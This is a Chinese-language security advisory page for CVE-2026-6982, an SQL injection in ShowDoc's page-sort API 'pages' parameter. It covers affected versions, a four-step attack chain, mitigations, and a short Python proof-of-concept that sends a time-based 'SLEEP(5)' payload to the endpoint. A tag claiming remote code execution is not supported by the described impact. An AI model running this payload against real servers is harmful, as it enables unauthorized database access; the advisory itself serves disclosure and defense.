IPBUF安全漏洞报告
English
CVE-2026-6982 CVSS 6.3 中危

CVE-2026-6982: ShowDoc SQL注入漏洞

披露日期: 2026-04-25

漏洞信息

漏洞编号
CVE-2026-6982
漏洞类型
SQL注入
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
star7th ShowDoc

相关标签

SQL注入ShowDocCVE-2026-6982中危Web安全远程代码执行

漏洞概述

star7th ShowDoc在2.10.10、3.6.2及3.8.0等版本之前存在安全漏洞。该漏洞位于API页面排序端点的PageController.class.php文件中,攻击者可通过操纵`pages`参数触发SQL注入。由于攻击可远程发起且无需用户交互,这可能导致数据库信息泄露。厂商已发布3.8.1版本修复此问题,但明确表示不会向旧版本反向移植补丁,建议用户尽快升级。

技术细节

该漏洞源于ShowDoc项目的`server/Application/Api/Controller/PageController.class.php`文件中,处理API页面排序请求的代码逻辑存在缺陷。在处理用户提交的`pages`参数时,程序未对该参数进行充分的过滤或类型检查,直接将其拼接到SQL查询语句中。攻击者可利用此漏洞构造恶意的SQL语句,通过远程发送特制的HTTP请求注入恶意代码。成功的利用可能导致敏感数据库信息泄露(如用户凭证)、数据篡改,甚至在某些情况下导致拒绝服务。CVSS 3.1评分为6.3,反映了其对机密性、完整性和可用性的低等影响。由于CVSS向量显示攻击复杂度低且需要低权限,这使得该漏洞具有较高的可利用性。

攻击链分析

STEP 1
侦察
攻击者识别出互联网上运行的star7th ShowDoc实例,并确定其版本低于3.8.1。
STEP 2
漏洞利用
攻击者向`/api/page/sort`端点发送特制的HTTP POST请求,在`pages`参数中注入恶意SQL payload。
STEP 3
执行
后端服务器将未经过滤的`pages`参数值拼接到SQL查询中并执行,导致数据库运行非预期命令。
STEP 4
数据泄露
攻击者根据数据库响应(如错误信息、时间延迟或数据回显)提取敏感信息,如用户凭据或业务数据。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Proof of Concept (PoC) for CVE-2026-6982 # This script demonstrates the SQL injection vulnerability in the 'pages' parameter. TARGET_URL = "http://target-showdoc-url/server/index.php?s=/api/page/sort" # Malicious payload to test SQL injection (Time-based blind) # The payload attempts to cause a delay in the database response PAYLOAD = "1 AND SLEEP(5)-- -" data = { "pages": PAYLOAD } headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" } try: print(f"Sending request to {TARGET_URL}...") response = requests.post(TARGET_URL, data=data, headers=headers, timeout=10) # Check if the response time indicates successful injection if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability confirmed! Database responded with delay.") else: print("[-] Vulnerability not detected or payload failed.") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}")

影响范围

star7th ShowDoc <= 2.10.10
star7th ShowDoc <= 3.6.2
star7th ShowDoc <= 3.8.0

防御指南

临时缓解措施
对于无法立即升级到3.8.1版本的用户,建议采取临时缓解措施。首先,严格限制对ShowDoc服务器的网络访问,仅允许可信的内部IP地址访问,防止外部攻击者利用该漏洞。其次,在Web应用防火墙(WAF)或反向代理层部署规则,拦截包含常见SQL注入特征(如单引号、注释符、UNION SELECT等)的`pages`参数请求。此外,应密切监控数据库日志,查找异常的查询活动。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表